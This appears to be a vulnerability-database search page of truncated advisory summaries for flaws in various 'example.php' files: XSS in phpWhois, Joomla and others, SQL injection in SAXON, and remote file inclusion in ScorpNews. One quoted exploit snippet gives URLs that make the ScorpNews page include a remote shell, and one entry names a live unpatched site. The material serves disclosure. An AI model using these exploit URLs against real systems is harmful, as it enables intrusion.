EUVD-2021-30605

Malicious code in bioql PyPI...

PhpWhois Cross-Site Scripting Vulnerability

PhpWhois is a Whois library containing Php by Spanish individual developer David Saez Padros. A cross-site scripting vulnerability exists in PhpWhois, which originates in the file example.php, where the exit function will terminate the script and print a message to the user. No detailed...

Cross site scripting

phpWhois last update Jun 30 2021 is affected by a Cross Site Scripting XSS vulnerability. In file example.php, the exit function will terminate the script and print the message to the user. The message will contain $GET'query' then there is a XSS vulnerability...

CVE-2021-43698

The CVE-2021-43698 entry concerns phpWhois (a PHP Whois library). The vulnerability is a Cross-Site Scripting (XSS) flaw in the example.php file, where the exit() path prints a user-visible message that includes $_GET['query'], enabling injection. Affected component/function: example.php within p...

CVE-2021-43698

phpWhois last update Jun 30 2021 is affected by a Cross Site Scripting XSS vulnerability. In file example.php, the exit function will terminate the script and print the message to the user. The message will contain $GET'query' then there is a XSS vulnerability...

PT-2021-23921

Name of the Vulnerable Software and Affected Versions: phpWhois affected versions not specified Description: The issue is related to a Cross Site Scripting XSS vulnerability. In the file example.php, the exit function will terminate the script and print a message to the user. This message contain...

CVE-2021-43698: Improper Neutralization of Input During Web Page Generation

phpWhois last update Jun 30 2021 is affected by a Cross Site Scripting XSS vulnerability. In file example.php, the exit function will terminate the script and print the message to the user. The message will contain $GET'query' then there is a XSS vulnerability...

ldwarf.ipac.caltech.edu XSS vulnerability

Vulnerable URL: http://ldwarf.ipac.caltech.edu/jpgraph-2.2/src/Examples/show-example.php?target=dateaxisex4.phpKNOXSS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

CVE-2013-5583

Cross-site scripting XSS vulnerability in libraries/idnaconvert/example.php in Joomla! 3.1.5 allows remote attackers to inject arbitrary web script or HTML via the lang parameter...

PT-2013-5656

Name of the Vulnerable Software and Affected Versions Joomla! version 3.1.5 Description A cross-site scripting XSS issue exists, allowing remote attackers to inject arbitrary web script or HTML. This is achieved via the lang parameter in the example.php file of the idna convert library...

CVE-2013-5583: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in libraries/idnaconvert/example.php in Joomla! 3.1.5 allows remote attackers to inject arbitrary web script or HTML via the lang parameter...

CVE-2013-4305: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in contrib/example.php in the SyntaxHighlight GeSHi extension for MediaWiki, possibly as downloaded before September 2013, allows remote attackers to inject arbitrary web script or HTML via the PATHINFO...

CVE-2010-4155

Multiple cross-site scripting XSS vulnerabilities in eXV2 CMS 2.10 allow remote attackers to inject arbitrary web script or HTML via the 1 rssfeedURL parameter to manual/caferss/example.php and the sumb parameter to 2 modules/news/archive.php, 3 modules/news/topics.php, and 4...

PT-2010-5327

Name of the Vulnerable Software and Affected Versions eXV2 CMS version 2.10 Description The issue allows remote attackers to inject arbitrary web script or HTML, which can lead to cross-site scripting XSS attacks. This is achieved through the rssfeedURL parameter to "manual/caferss/example.php" a...

CVE-2008-2193: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in example.php in Thomas Gossmann ScorpNews 2.0 allows remote attackers to execute arbitrary PHP code via a URL in the site parameter...

ScorpNews 1.0 - 'site' Remote File Inclusion

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

Sql injection

SQL injection vulnerability in example.php in SAXON 5.4 allows remote attackers to execute arbitrary SQL commands via the template parameter...

CVE-2007-4863

SQL injection vulnerability in example.php in SAXON 5.4 allows remote attackers to execute arbitrary SQL commands via the template parameter...

CVE-2007-4863

The CVE-2007-4863 entry concerns SAXON version 5.4, where a SQL injection vulnerability exists in example.php via the template parameter. The vulnerability arises when PHP magic_quotes_gpc is Off, allowing remote attackers to execute arbitrary SQL commands, potentially exposing data or altering i...

CVE-2007-4863: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in example.php in SAXON 5.4 allows remote attackers to execute arbitrary SQL commands via the template parameter...